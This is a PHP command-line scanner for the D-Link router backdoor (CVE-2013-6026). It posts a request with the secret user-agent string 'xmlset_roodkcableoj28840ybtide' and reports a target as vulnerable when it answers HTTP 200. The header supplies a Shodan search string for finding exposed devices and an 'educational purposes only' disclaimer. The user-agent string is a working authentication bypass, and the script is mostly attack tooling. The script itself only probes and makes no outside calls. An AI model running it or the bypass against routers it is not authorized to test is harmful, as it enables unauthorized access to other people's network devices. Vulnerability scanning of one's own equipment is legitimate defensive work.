#!/usr/bin/php
<?php
/*
.---------------------------------.
|                                 |
| dlinkd - D-link backdoor czechr |
|                                 |
.-------------------------------------------------------------------------------.
| Written by @dustyfresh - 10/13             |
.-------------------------------------------------------------------------------.
| See:  http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
|  http://www.security-database.com/detail.php?alert=CVE-2013-6026
| Usage(command-line only):
|  ./dlinkd http://192.168.1.1:8080/
| Shodan dork:
|  thttpd-alphanetworks/2.23
.-------------------------------------------------------------------------------.
| Educational purposes only, kkthnx.            |
| http://rootatx.com/ || http://staypimp.in/          |
.-------------------------------------------------------------------------------.
|   GNU GENERAL PUBLIC LICENSE
|
|  Version 3, 29 June 2007
|
|  Copyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>
|  Everyone is permitted to copy and distribute verbatim copies of this license
|  document, but changing it is not allowed.
|
|  http://www.gnu.org/licenses/gpl.html
.-------------------------------------------------------------------------------.
*/
  error_reporting(1);
        set_time_limit(0); // ain't nobody got time fo' dat
        $help = "\t--help, this help menu\n\nexample: ./dlinkd http://192.168.1.1:8080\n";
        $host = $argv[1];
        $curl = curl_init($host);
        $swag = array(
                CURLOPT_HEADER => 'true',
                CURLOPT_POST => 'true',
                CURLOPT_USERAGENT => 'xmlset_roodkcableoj28840ybtide', // the secret ingredient
                CURLOPT_RETURNTRANSFER => 1
                );
        curl_setopt_array($curl,$swag);
        switch($argv[1]){
                case NULL:
                die($help);
                break;
                case "--help":
                die($help);
                break;
        }
        $sup = curl_exec($curl);
        $return = curl_getinfo($curl);
        curl_close($curl);
        $exit = $return['http_code'];
        if($exit != 200){
                print "[$host] :( This door is locked.\n";
        } else {
                print "THIS IS A TRIUMPH! [$host] is vulnerable\n";
    // 'murica, ah'll tell u whut
        }
?>